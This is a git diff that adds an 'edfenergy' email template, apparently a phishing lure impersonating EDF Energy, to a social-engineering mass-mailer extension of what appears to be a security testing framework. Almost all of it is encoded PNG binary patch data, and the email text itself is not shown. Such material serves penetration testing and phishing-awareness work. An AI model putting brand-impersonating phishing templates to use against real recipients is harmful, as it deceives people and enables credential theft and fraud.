| Bin 0 -> 9416 bytes .../templates/edfenergy/bottom-border.png | Bin 0 -> 33433 bytes .../templates/edfenergy/corner-bl.png | Bin 0 -> 2902 bytes .../templates/edfenergy/corner-br.png | Bin 0 -> 2893 bytes .../templates/edfenergy/corner-tl.png | Bin 0 -> 2900 bytes .../templates/edfenergy/edf_logo.png | Bin 0 -> 6982 bytes .../mass_mailer/templates/edfenergy/mail.html | 54 ++++++++++++++++++ .../templates/edfenergy/mail.plain | 19 ++++++ .../mass_mailer/templates/edfenergy/main.png | Bin 0 -> 56684 bytes .../templates/edfenergy/promo-corner-left.png | Bin 0 -> 3015 bytes .../edfenergy/promo-corner-right-arrow.png | Bin 0 -> 864 bytes .../templates/edfenergy/promo-reflection.png | Bin 0 -> 3576 bytes 12 files changed, 73 insertions(+) create mode 100644 extensions/social_engineering/mass_mailer/templates/edfenergy/2012.png create mode 100644 extensions/social_engineering/mass_mailer/templates/edfenergy/bottom-border.png create mode 100644 extensions/social_engineering/mass_mailer/templates/edfenergy/corner-bl.png create mode 100644 extensions/social_engineering/mass_mailer/templates/edfenergy/corner-br.png create mode 100644 extensions/social_engineering/mass_mailer/templates/edfenergy/corner-tl.png create mode 100644 extensions/social_engineering/mass_mailer/templates/edfenergy/edf_logo.png create mode 100644 extensions/social_engineering/mass_mailer/templates/edfenergy/mail.html create mode 100644 extensions/social_engineering/mass_mailer/templates/edfenergy/mail.plain create mode 100644 extensions/social_engineering/mass_mailer/templates/edfenergy/main.png create mode 100644 extensions/social_engineering/mass_mailer/templates/edfenergy/promo-corner-left.png create mode 100644 extensions/social_engineering/mass_mailer/templates/edfenergy/promo-corner-right-arrow.png create mode 100644 extensions/social_engineering/mass_mailer/templates/edfenergy/promo-reflection.png diff --git a/extensions/social_engineering/mass_mailer/templates/edfenergy/2012.png b/extensions/social_engineering/mass_mailer/templates/edfenergy/2012.png new file mode 100644 index 0000000000000000000000000000000000000000..9a7d904deacbb72ef05e438f657a1c380563fe20 GIT binary patch literal 9416 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 